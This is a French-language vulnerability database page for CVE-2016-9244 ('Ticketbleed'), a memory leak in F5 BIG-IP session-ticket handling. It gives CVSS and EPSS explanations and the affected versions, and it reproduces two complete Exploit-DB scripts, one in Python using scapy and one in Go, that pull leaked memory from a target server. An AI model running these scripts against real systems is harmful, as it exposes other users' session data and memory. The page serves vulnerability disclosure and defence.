CVE-2016-9244 : Détail

CVE-2016-9244

7.5
/
Haute
A01-Broken Access Control
93.38%V3
Network
2017-02-09
14h00 +00:00
2017-02-28
09h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

A BIG-IP virtual server configured with a Client SSL profile that has the non-default Session Tickets option enabled may leak up to 31 bytes of uninitialized memory. A remote attacker may exploit this vulnerability to obtain Secure Sockets Layer (SSL) session IDs from other sessions. It is possible that other data from uninitialized memory may be returned as well.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 44446

Date de publication : 2017-02-13 23h00 +00:00
Auteur : @0x00string
EDB Vérifié : No

# -*- coding: utf-8 -*- #!/usr/bin/python # Exploit Title: Ticketbleed # Google Dork: n/a # Date: Exploit: 02/13/17, Advisory Published: 02/09/17 # Exploit Author: @0x00string # Vendor Homepage: https://f5.com/ # Software Link: https://support.f5.com/csp/article/K05121675 # Version: see software link for versions # Tested on: F5 BIGIP 11.6 # CVE : CVE-2016-9244 # require: scapy_ssl_tls (https://github.com/tintinweb/scapy-ssl_tls) import re, getopt, sys, socket from struct import * try: from scapy_ssl_tls.ssl_tls import * except ImportError: from scapy.layers.ssl_tls import * def banner(): print ''' lol ty filippo! ty tintinweb! 0000000000000 0000000000000000000 00 00000000000000000000000000000 0000000000000000000000000000000 000000000 0000000000 00000000 0000000000 0000000 000000000000 0000000 000000000000000 000000 000000000 000000 0000000 000000000 000000 000000 000000000 000000 000000 000000000 000000 000000 00000000 000000 000000 000000000 000000 0000000 000000000 0000000 000000 000000000 000000 0000000000000000 0000000 0000000000000 0000000 00000000000 00000000 00000000000 000000000 0000000000000000000000000000000 00000000000000000000000000000 000 0000000000000000000 0000000000000 @0x00string https://github.com/0x00string/oldays/blob/master/CVE-2016-9244.py ''' def usage (): print ("python script.py <args>\n" " -h, --help: Show this message\n" " -a, --rhost: Target IP address\n" " -b, --rport: Target port\n" "\n\n" "Examples:\n" "python script.py -a 10.10.10.10 -b 443\n" "python script.py --rhost 10.10.10.10 --rport 8443") exit() def pretty (t, m): if (t is "+"): print "\x1b[32;1m[+]\x1b[0m\t" + m + "\n", elif (t is "-"): print "\x1b[31;1m[-]\x1b[0m\t" + m + "\n", elif (t is "*"): print "\x1b[34;1m[*]\x1b[0m\t" + m + "\n", elif (t is "!"): print "\x1b[33;1m[!]\x1b[0m\t" + m + "\n", def createDump (input): d, b, h = '', [], [] u = list(input) for e in u: h.append(e.encode("hex")) if e == '0x0': b.append('0') elif 30 > ord(e) or ord(e) > 128: b.append('.') elif 30 < ord(e) or ord(e) < 128: b.append(e) i = 0 while i < len(h): if (len(h) - i ) >= 16: d += ' '.join(h[i:i+16]) d += " " d += ' '.join(b[i:i+16]) d += "\n" i = i + 16 else: d += ' '.join(h[i:(len(h) - 0 )]) pad = len(' '.join(h[i:(len(h) - 0 )])) d += ' ' * (56 - pad) d += ' '.join(b[i:(len(h) - 0 )]) d += "\n" i = i + len(h) return d def ticketBleed (rhost, rport): h = (rhost,int(rport)); version = TLSVersion.TLS_1_2 secret = "" session_ticket = "" sid = "" cipher = TLSCipherSuite.ECDHE_RSA_WITH_AES_256_CBC_SHA with TLSSocket(socket.socket(), client=True) as sock: sock.connect(h) ctx = sock.tls_ctx packet = TLSRecord() / TLSHandshake() / TLSClientHello(version=version, cipher_suites=TLS_CIPHER_SUITES.keys(), extensions=[TLSExtension() / TLSExtSessionTicketTLS(data="")]) sock.sendall(packet) sock.recvall() packet_ke = TLSRecord(version=version) / TLSHandshake() / ctx.get_client_kex_data() packet_ccs = TLSRecord(version=TLSVersion.TLS_1_2) / TLSChangeCipherSpec() sock.sendall(TLS.from_records([packet_ke, packet_ccs])) sock.sendall(to_raw(TLSFinished(), ctx)) ret = sock.recvall() session_ticket = ret[TLSSessionTicket].ticket secret = ctx.master_secret #pretty("*", "ctx 1: \n" + str(ctx)) with TLSSocket(socket.socket(), client=True) as sock: sock.connect(h) ctx = sock.tls_ctx packet = TLSRecord() / TLSHandshake() / TLSClientHello(version=TLSVersion.TLS_1_2, cipher_suites=TLS_CIPHER_SUITES.keys(), session_id="A", extensions=[TLSExtension() / TLSExtSessionTicketTLS(data=session_ticket)]) sock.tls_ctx.resume_session(secret) sock.sendall(packet) ret = sock.recvall() sid = ret[TLSServerHello].session_id #pretty("*", "ctx 2: \n" + str(ctx)) pretty("+", "bled 'A' + 31 bytes: \n" + createDump(sid)) def main(): rhost = None; rport = None; options, remainder = getopt.getopt(sys.argv[1:], 'a:b:h:', ['rhost=','rport=','help',]) for opt, arg in options: if opt in ('-h', '--help'): usage() elif opt in ('-a','--rhost'): rhost = arg; elif opt in ('-b','--rport'): rport = arg; banner() if rhost is None or rport is None: usage() ticketBleed(rhost,rport) exit(0); if __name__ == "__main__": main()
Exploit Database EDB-ID : 41298

Date de publication : 2017-02-09 23h00 +00:00
Auteur : Ege Balci
EDB Vérifié : No

/* # Exploit Title: [Ticketbleed (CVE-2016-9244) F5 BIG-IP SSL virtual server Memory Leakage] # Date: [10.02.2017] # Exploit Author: [Ege Balcı] # Vendor Homepage: [https://f5.com/] # Version: [12.0.0 - 12.1.2 && 11.4.0 - 11.6.1] # Tested on: [Multiple] # CVE : [CVE-2016-9244] BUILD: go get github.com/EgeBalci/Ticketbleed go build Ticketbleed.go USAGE: ./ticketbleed <options> <ip:port> OPTIONS: -o, --out Output filename for raw memory -s, --size Size in bytes to read -h, --help Print this message */ package main import "github.com/EgeBalci/Ticketbleed" import "strconv" import "strings" import "fmt" import "os" var OutputFile string = "" var BleedSize int = 0 func main() { ARGS := os.Args[1:] if len(ARGS) < 1 || len(ARGS) > 5{ fmt.Println(Help) os.Exit(1) } for i := 0; i < len(ARGS); i++{ if ARGS[i] == "-h" || ARGS[i] == "--help"{ fmt.Println(Help) os.Exit(1) } if ARGS[i] == "-o" || ARGS[i] == "--out"{ OutputFile = ARGS[i+1] } if ARGS[i] == "-s" || ARGS[i] == "--size"{ Size,err := strconv.Atoi(ARGS[i+1]) if err != nil { fmt.Println("[-] ERROR: Invalid size value !") os.Exit(1) } if Size < 0 { fmt.Println("[-] ERROR: Size can't be smaller than 0") os.Exit(1) }else{ BleedSize = Size } } } if OutputFile != "" { File, FileErr := os.Create(OutputFile) if FileErr != nil { fmt.Println("[-] ERROR: While creating output file !") os.Exit(1) } File.Close() fmt.Println("[*] Output file: "+OutputFile) } VulnStatus := Ticketbleed.Check(ARGS[0]) // First check if it's vulnerable fmt.Println(VulnStatus) if strings.Contains(VulnStatus, "[+]") { go Ticketbleed.Exploit(ARGS[0], OutputFile, (BleedSize/2)) // With using multiple threads it is easyer to move on stack Ticketbleed.Exploit(ARGS[0], OutputFile, (BleedSize/2)) // Othervise server echoes back alot of duplicate value } } var Help string = ` ▄▄▄█████▓ ██▓ ▄████▄ ██ ▄█▀▓█████▄▄▄█████▓ ▄▄▄▄ ██▓ ▓█████ ▓█████ ▓█████▄ ▓ ██▒ ▓▒▓██▒▒██▀ ▀█ ██▄█▒ ▓█ ▀▓ ██▒ ▓▒▓█████▄ ▓██▒ ▓█ ▀ ▓█ ▀ ▒██▀ ██▌ ▒ ▓██░ ▒░▒██▒▒▓█ ▄ ▓███▄░ ▒███ ▒ ▓██░ ▒░▒██▒ ▄██▒██░ ▒███ ▒███ ░██ █▌ ░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄░ ▓██▓ ░ ▒██░█▀ ▒██░ ▒▓█ ▄ ▒▓█ ▄ ░▓█▄ ▌ ▒██▒ ░ ░██░▒ ▓███▀ ░▒██▒ █▄░▒████▒ ▒██▒ ░ ░▓█ ▀█▓░██████▒░▒████▒░▒████▒░▒████▓ ▒ ░░ ░▓ ░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░ ▒ ░░ ░▒▓███▀▒░ ▒░▓ ░░░ ▒░ ░░░ ▒░ ░ ▒▒▓ ▒ ░ ▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░ ▒░▒ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ▒ ░ ▒ ░░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ Author: Ege Balci Github: github.com/EgeBalci USAGE: ./ticketbleed <ip:port> <options> OPTIONS: -o, --out Output filename for raw memory -s, --size Size in bytes to read -h, --help Print this message ` https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41298.zip

Products Mentioned

Configuraton 0

F5>>Big-ip_local_traffic_manager >> Version 11.4.0

F5>>Big-ip_local_traffic_manager >> Version 11.4.1

F5>>Big-ip_local_traffic_manager >> Version 11.5.0

F5>>Big-ip_local_traffic_manager >> Version 11.5.1

F5>>Big-ip_local_traffic_manager >> Version 11.5.2

F5>>Big-ip_local_traffic_manager >> Version 11.5.3

F5>>Big-ip_local_traffic_manager >> Version 11.5.4

F5>>Big-ip_local_traffic_manager >> Version 11.6.0

F5>>Big-ip_local_traffic_manager >> Version 11.6.1

F5>>Big-ip_local_traffic_manager >> Version 12.0.0

F5>>Big-ip_local_traffic_manager >> Version 12.1.0

F5>>Big-ip_local_traffic_manager >> Version 12.1.1

F5>>Big-ip_local_traffic_manager >> Version 12.1.2

Configuraton 0

F5>>Big-ip_application_acceleration_manager >> Version 11.4.0

F5>>Big-ip_application_acceleration_manager >> Version 11.4.1

F5>>Big-ip_application_acceleration_manager >> Version 11.5.0

F5>>Big-ip_application_acceleration_manager >> Version 11.5.1

F5>>Big-ip_application_acceleration_manager >> Version 11.5.2

F5>>Big-ip_application_acceleration_manager >> Version 11.5.3

F5>>Big-ip_application_acceleration_manager >> Version 11.5.4

F5>>Big-ip_application_acceleration_manager >> Version 11.6.0

F5>>Big-ip_application_acceleration_manager >> Version 11.6.1

F5>>Big-ip_application_acceleration_manager >> Version 12.0.0

F5>>Big-ip_application_acceleration_manager >> Version 12.1.0

F5>>Big-ip_application_acceleration_manager >> Version 12.1.1

F5>>Big-ip_application_acceleration_manager >> Version 12.1.2

Configuraton 0

F5>>Big-ip_advanced_firewall_manager >> Version 11.4.0

F5>>Big-ip_advanced_firewall_manager >> Version 11.4.1

F5>>Big-ip_advanced_firewall_manager >> Version 11.5.0

F5>>Big-ip_advanced_firewall_manager >> Version 11.5.1

F5>>Big-ip_advanced_firewall_manager >> Version 11.5.2

F5>>Big-ip_advanced_firewall_manager >> Version 11.5.3

F5>>Big-ip_advanced_firewall_manager >> Version 11.5.4

F5>>Big-ip_advanced_firewall_manager >> Version 11.6.0

F5>>Big-ip_advanced_firewall_manager >> Version 11.6.1

F5>>Big-ip_advanced_firewall_manager >> Version 12.0.0

F5>>Big-ip_advanced_firewall_manager >> Version 12.1.0

F5>>Big-ip_advanced_firewall_manager >> Version 12.1.1

F5>>Big-ip_advanced_firewall_manager >> Version 12.1.2

Configuraton 0

F5>>Big-ip_analytics >> Version 11.4.0

F5>>Big-ip_analytics >> Version 11.4.1

F5>>Big-ip_analytics >> Version 11.5.0

F5>>Big-ip_analytics >> Version 11.5.1

F5>>Big-ip_analytics >> Version 11.5.2

F5>>Big-ip_analytics >> Version 11.5.3

F5>>Big-ip_analytics >> Version 11.5.4

F5>>Big-ip_analytics >> Version 11.6.0

F5>>Big-ip_analytics >> Version 11.6.1

F5>>Big-ip_analytics >> Version 12.0.0

F5>>Big-ip_analytics >> Version 12.1.0

F5>>Big-ip_analytics >> Version 12.1.1

F5>>Big-ip_analytics >> Version 12.1.2

Configuraton 0

F5>>Big-ip_access_policy_manager >> Version 11.4.0

F5>>Big-ip_access_policy_manager >> Version 11.4.1

F5>>Big-ip_access_policy_manager >> Version 11.5.0

F5>>Big-ip_access_policy_manager >> Version 11.5.1

F5>>Big-ip_access_policy_manager >> Version 11.5.2

F5>>Big-ip_access_policy_manager >> Version 11.5.3

F5>>Big-ip_access_policy_manager >> Version 11.5.4

F5>>Big-ip_access_policy_manager >> Version 11.6.0

F5>>Big-ip_access_policy_manager >> Version 11.6.1

F5>>Big-ip_access_policy_manager >> Version 12.0.0

F5>>Big-ip_access_policy_manager >> Version 12.1.0

F5>>Big-ip_access_policy_manager >> Version 12.1.1

F5>>Big-ip_access_policy_manager >> Version 12.1.2

Configuraton 0

F5>>Big-ip_application_security_manager >> Version 11.4.0

F5>>Big-ip_application_security_manager >> Version 11.4.1

F5>>Big-ip_application_security_manager >> Version 11.5.0

F5>>Big-ip_application_security_manager >> Version 11.5.1

F5>>Big-ip_application_security_manager >> Version 11.5.2

F5>>Big-ip_application_security_manager >> Version 11.5.3

F5>>Big-ip_application_security_manager >> Version 11.5.4

F5>>Big-ip_application_security_manager >> Version 11.6.0

F5>>Big-ip_application_security_manager >> Version 11.6.1

F5>>Big-ip_application_security_manager >> Version 12.0.0

F5>>Big-ip_application_security_manager >> Version 12.1.0

F5>>Big-ip_application_security_manager >> Version 12.1.1

F5>>Big-ip_application_security_manager >> Version 12.1.2

Configuraton 0

F5>>Big-ip_global_traffic_manager >> Version 11.4.0

F5>>Big-ip_global_traffic_manager >> Version 11.4.1

F5>>Big-ip_global_traffic_manager >> Version 11.5.0

F5>>Big-ip_global_traffic_manager >> Version 11.5.1

F5>>Big-ip_global_traffic_manager >> Version 11.5.2

F5>>Big-ip_global_traffic_manager >> Version 11.5.3

F5>>Big-ip_global_traffic_manager >> Version 11.5.4

F5>>Big-ip_global_traffic_manager >> Version 11.6.0

F5>>Big-ip_global_traffic_manager >> Version 11.6.1

Configuraton 0

F5>>Big-ip_link_controller >> Version 11.4.0

F5>>Big-ip_link_controller >> Version 11.4.1

F5>>Big-ip_link_controller >> Version 11.5.0

F5>>Big-ip_link_controller >> Version 11.5.1

F5>>Big-ip_link_controller >> Version 11.5.2

F5>>Big-ip_link_controller >> Version 11.5.3

F5>>Big-ip_link_controller >> Version 11.5.4

F5>>Big-ip_link_controller >> Version 11.6.0

F5>>Big-ip_link_controller >> Version 11.6.1

F5>>Big-ip_link_controller >> Version 12.0.0

F5>>Big-ip_link_controller >> Version 12.1.0

F5>>Big-ip_link_controller >> Version 12.1.1

F5>>Big-ip_link_controller >> Version 12.1.2

Configuraton 0

F5>>Big-ip_policy_enforcement_manager >> Version 11.4.0

F5>>Big-ip_policy_enforcement_manager >> Version 11.4.1

F5>>Big-ip_policy_enforcement_manager >> Version 11.5.0

F5>>Big-ip_policy_enforcement_manager >> Version 11.5.1

F5>>Big-ip_policy_enforcement_manager >> Version 11.5.2

F5>>Big-ip_policy_enforcement_manager >> Version 11.5.3

F5>>Big-ip_policy_enforcement_manager >> Version 11.5.4

F5>>Big-ip_policy_enforcement_manager >> Version 11.6.0

F5>>Big-ip_policy_enforcement_manager >> Version 11.6.1

F5>>Big-ip_policy_enforcement_manager >> Version 12.0.0

F5>>Big-ip_policy_enforcement_manager >> Version 12.1.0

F5>>Big-ip_policy_enforcement_manager >> Version 12.1.1

F5>>Big-ip_policy_enforcement_manager >> Version 12.1.2

Configuraton 0

F5>>Big-ip_protocol_security_module >> Version 11.4.0

F5>>Big-ip_protocol_security_module >> Version 11.4.1

Références

https://www.exploit-db.com/exploits/41298/
Tags : exploit, x_refsource_EXPLOIT-DB
https://filippo.io/Ticketbleed/
Tags : x_refsource_MISC
http://www.securityfocus.com/bid/96143
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1037800
Tags : vdb-entry, x_refsource_SECTRACK